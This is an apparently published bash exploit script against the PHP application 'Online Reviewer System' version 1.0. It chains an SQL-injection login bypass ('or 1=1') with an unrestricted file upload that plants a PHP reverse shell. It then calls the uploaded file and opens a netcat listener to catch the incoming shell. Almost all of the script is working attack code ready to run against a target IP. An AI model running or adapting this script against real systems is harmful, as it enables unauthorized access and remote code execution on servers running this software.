#!/bin/bash
# Exploit Title: Online Reviewer System (PHPPDO) - RCE & ADMIN BYPASS
# Exploit Author: Richard Jones
# Date: 2021-01-31
# Vendor Homepage: https://www.sourcecodester.com/php/12937/online-reviewer-system-using-phppdo.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12937&title=Online+Reviewer+System+Using+PHP%2FPDO+with+Source+Code
# Version: 1.0
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34


RS='\033[0m'
R='\033[0;31m'
G='\033[0;32m'
LB='\033[1;34m'
CY='\033[0;36m'
W='\033[1;73m'

printf "${G} ________         .__  .__             __________            .__                ${RS} \n"
printf "${G} \_____  \   ____ |  | |__| ____   ____\______   \ _______  _|__| ______  _  __ ${RS} \n"
printf "${G}  /   |   \ /    \|  | |  |/    \_/ __ \|       _// __ \  \/ /  |/ __ \ \/ \/ / ${RS} \n"
printf "${G} /    |    \   |  \  |_|  |   |  \  ___/|    |   \  ___/\   /|  \  ___/\     /  ${RS} \n"
printf "${G} \_______  /___|  /____/__|___|  /\___  >____|_  /\___  >\_/ |__|\___  >\/\_/   ${RS} \n"
printf "${G}         \/     \/             \/     \/       \/     \/             \/         ${RS} \n"
printf "${G} Created by: Ricard Jones ${RS}"

if [ ${#@} -lt 3 ]; then
        echo -e "\nUsage: ./onlinereviewer web-ip reverse-shell-file rev-port"
        echo "Eg: ./onlinereviewer 10.10.10.10 shell.php rev-port"
        exit 1;
fi

COOKIES="cookies.txt"
#login bypass
echo -e "\n[+] Running login bypass and trying for reverse shell..."
curl -c $COOKIES http://$1/reviewer/login/ -X POST -d "username=a%27+or+1%3D1--+-&password=a%27+or+1%3D1--+-&btn-login=Log+In" &>/dev/null
printf "${G}[+] Logged in, Sending payload ${RS}"
(sleep 3;curl -b $COOKIES "http://$1/reviewer/system/system/admins/assessments/databank/btn_functions.php?action=add" -X POST -F "difficulty_id=1" \
 -F "test_desc=CIVIL ENGINEERING" -F "test_subject=Mathematics, Surveying and Transportation Engineering" -F "description=a" -F "option_a=a" -F "option_b=a" \
 -F "option_c=a" -F "option_d=a" -F "answer=A" -F "personImage=@$2" -F "btnAddQuestion=Save" &>/dev/null) &
BASENAME=$2
FILENAME=${BASENAME##*/}
echo $BASENAME
(sleep 5; echo "[+] Calling shell, wait a few moments";sleep 6; curl -b $COOKIES "http://$1//reviewer/system/system/admins/assessments/databank/files/$FILENAME") & 
rm $COOKIES
nc -lnvp $3